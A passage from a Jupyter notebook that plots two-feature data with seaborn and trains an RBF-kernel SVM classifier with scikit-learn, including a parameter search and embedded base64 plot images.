3f/rk1FYRzGHxQcipO6uFtfFPHXoMFBJwcHxVGc9E9QtCAodBEUdOjgoIPo\nJHQRs7gJKiUqoiCivE4uQhEcnFpKBYeTQBZjWmhOLnk+EHIhufDCgXu/3Hvec/ZFxA7KRawFOCF2\n4w0cl8yc6R1HxCywaBgbmYFj030y9gx4kZm3R1/eRFoATgPzEdGiTLPo+QpMR8Q2ylP+48Cd0Zc4\nkQaNC8B9yqvLs07mnxxuLv4PETEFPAZ2AivA+cxcjIjLlHkX7Yg4B1ztnjLvTWbjDTMuff+dpQQy\nuyxH4H9jA2wGngBv+k67lpmdkRc7Ifq6+fZTusEvAoeBrZn5oK/LchOly/JetWInyKBxAd53P6+B\n3g16LjOfVihVI2QgkyRJqswuS0mSpMoMZJIkSZUZyCRJkiozkEmSJFVmIJMkSarMQCZprEXEw4j4\nFhFDt4RHxJGIcBkaSY3hwrCSxt0FykbMK2s4Zy/gRtmSGsN1yCSNrYhoU1Y0/w1sycypiHgEbAd2\nATPACeAk8IeyE8Ac8ImyyObdzLxZoXRJWhNfWUoaW5l5pnt4EPjZ99OvzNxDCV6nMvMAcAyYBpYp\nq8+3DWOSmsJAJqmJ3na/fwBLEbEAXAKuZ+ZyvbIkaX0MZJKaaAkgM1eBo8ANymvMTkTsrlmYJK2H\ngUxSY0XEIeAl8CozrwBfgABWsWlJUoMYyCQ1VmZ+BDrA54j4AHwHngPvgFZE3KpYniQNzS5LSZKk\nynxCJkmSVJmBTJIkqTIDmSRJUmUGMkmSpMoMZJIkSZUZyCRJkiozkEmSJFX2FywL7fUCm1d4AAAA\nAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0xe5825658d0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "sns.lmplot(\"first\", \"second\", data=df, hue=\"out\", fit_reg=False, size= 8, scatter_kws={'s':80})" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Train The Model" ] }, { "cell_type": "code", "execution_count": 173, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "{'C': 10.0, 'sigma': 3.0}" ] }, "execution_count": 173, "metadata": {}, "output_type": "execute_result" } ], "source": [ "findBestModel(X, y, Xval, yval)" ] }, { "cell_type": "code", "execution_count": 187, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "SVC(C=10, cache_size=200, class_weight=None, coef0=0.0,\n", " decision_function_shape=None, degree=3, gamma=18, kernel='rbf',\n", " max_iter=-1, probability=False, random_state=None, shrinking=True,\n", " tol=0.001, verbose=False)" ] }, "execution_count": 187, "metadata": {}, "output_type": "execute_result" } ], "source": [ "clf = svm.SVC(C=10, gamma= 2 * ( 3 ** 2 ), kernel='rbf')\n", "clf.fit(X,y)" ] }, { "cell_type": "code", "execution_count": 188, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "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